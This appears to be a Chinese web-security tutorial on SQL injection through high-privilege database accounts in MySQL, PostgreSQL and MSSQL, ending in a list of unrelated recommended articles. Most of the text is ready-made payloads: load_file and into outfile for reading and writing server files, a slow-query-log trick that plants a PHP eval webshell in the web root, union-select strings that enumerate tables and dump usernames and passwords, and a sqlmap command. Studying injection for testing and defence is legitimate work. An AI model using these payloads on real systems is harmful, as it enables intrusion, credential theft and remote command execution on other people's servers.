25、WEB攻防——通用漏洞&SQL读写注入&MYSQL&MSSQL&PostgreSQL

文章目录



Access无高权限注入点------只能猜解,而且是暴力猜解;

MYSQL,PostgreSQL,MSSQL(SQL server)高权限注入点------可升级读写(文件)、(命令)执行等。

  • 所谓高权限注入点,指的就是在连接数据库时,所使用的用户(数据库连接用户)具有较高的权限。因为权限划分的缘故。
  • 如果存在高权限注入点,所做的不仅仅是查看数据库的内容,还可以是文件上传、命令执行。

Mysql-root高权限读写注入

  • 读文件(命令行)

    数据库可以调用自身的函数load_file('<file_path>')读取服务器上的文件。payload:select load_file('<file_path>')

  • 写文件(命令行)

    有关函数:outfile()dumpfile()。paylaod:select 'file_content' into outfile '<file_path>'

  • 读文件:union select 1,load_file('d:/w.txt'),3 --+

    在实战中,一般读取数据库配置文件、网站搭建性文件。具体读哪些文件,可以参考load_file 常用路径

    • 获取网站路径方式1:读取中间件的配置文件,例如phpstudy的vhosts.conf文件

    • 获取网站路径方式2:phpinfo()

    • 获取网站路径方式3:报错

  • 写文件:union select 1,'xxx',3 into outfile 'd:/www.txt' --+

会出现有高权限注入点,但是无法读取写入文件的情况------secure-file-priv参数
secure-file-priv参数有三种情况:

  • secure-file-priv=null,不允许读写;
  • secure-file-priv=/tmp/,读写只能发生在tmp目录下;
  • secure-file-priv= ,读写不做限制。

突破方法

  • 注入点需要支持SQL执行环境,若没有就需要借助phpmyadmin或能够直接连上那个对方数据库进行绕过。payload:

    mysql 复制代码
    set global slow_query_log=1; //启用慢日志
    set global slow_query_log_file='shell网站路径';  //保存慢日志的路径,便于用浏览器可以进行访问
    select '<?php @eval($_GET['cmd']);?>' or sleep(11);
  • 支持堆叠注入

PostgreSQL------dba高权限读写注入

php 复制代码
# 测列数
order by 4

# 测回显位
and 1=2 union select 'null',null,null //没报就没有,换下一个
and 1=2 union select null,'null',null //爆出null

# 获取信息
and 1=2 union select null,version(),null // 获取当前数据库版本
and 1=2 union select null,current_user,null //获取当前用户
and 1=2 union select null,current_database(),null //获取当前数据库名

# 获取所有数据库名
and 1=2 union select null,string_agg(datname,','),null from pg_database

# 获取表名
1. and 1=2 union select null,string_agg(tablename,','),null from pg_tables where schemaname='public'
2. and 1=2 union select null,string_agg(relname,','),null from pg_stat_user_tables

# 获取字段名
and 1=2 union select null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

# 读取数据
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

-----
# 获取DBA用户(PostgreSQL中的root用户)
and 1=2 union select null,string_agg(username,','),null from pg_user where usesuper is true

参考postgresql注入

Mssql-sa高权限读写注入

python 复制代码
# 测字段数
order by 4

# 测回显位
and 1=2 union all select 'null',null,null //用单引号包裹null,若该位置存在回显位,则页面爆出null

# 获取信息
@@version //获取版本信息
db_name() //当前数据库名字
user,system_user,current_user,user_name //获取当前用户名,四种查询方式
@@SERVERNAME //获取服务器主机信息
and 1=2 union all select null,db_name(),null

# 查表名
and 1=2 union all select null,(select top 1 name from <数据库名>.dbo.sysobjects where xtype='u'),null
and 1=2 union all select null,(select top 1 name from <数据库名>.dbo.sysobjects where xtype='u' and name not in ('manage'(第一个表名))),null //查其他表

# 查字段名
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null

# 查字段内容
and 1=2 union all select null,username,null from manage

使用sqlmap时,一般直接用sqlmap发数据包。讲数据包保存在txt文件中,在参数后面加*告诉sqlmap,你要在这进行注入。

payload:python sqlmap.py -r 1.txt


sql使用手册

相关推荐
We་ct2 分钟前
LeetCode 295. 数据流的中位数:双堆解法实战解析
开发语言·前端·数据结构·算法·leetcode·typescript·数据流
青槿吖4 分钟前
第一篇:Redis集群从入门到踩坑:3主3从保姆级搭建+核心原理一次性讲透|面试必看
前端·redis·后端·面试·职场和发展·bootstrap·html
美狐美颜sdk14 分钟前
2026主流直播美颜sdk对比:效果、算法与成本分析
前端·人工智能·计算机视觉·美颜sdk·直播美颜sdk·第三方美颜sdk·视频美颜sdk
王霸天17 分钟前
🚨 还在用 rem) 做大屏适配?用 vfit.js 一键搞定,告别改稿8版的噩梦!
前端·vue.js·数据可视化
zhenxin012218 分钟前
万字详解 MySQL MGR 高可用集群搭建
android·mysql·adb
xxjj998a25 分钟前
从MySQL迁移到PostgreSQL的完整指南
数据库·mysql·postgresql
Three~stone27 分钟前
MySQL Workbench 8.0.45 安装教程[附安装包]
数据库·mysql
炸炸鱼.29 分钟前
MySQL 高可用实战(主主复制 + Keepalived+HAProxy)
数据库·mysql·adb
文心快码BaiduComate31 分钟前
Comate AI IDE三大能力升级:支持语音输入& AI可操作浏览器 & Figma设计与代码双向转换
前端·后端·程序员
coder_Eight43 分钟前
LRU 缓存实现详解:双向链表 + 哈希表
前端·算法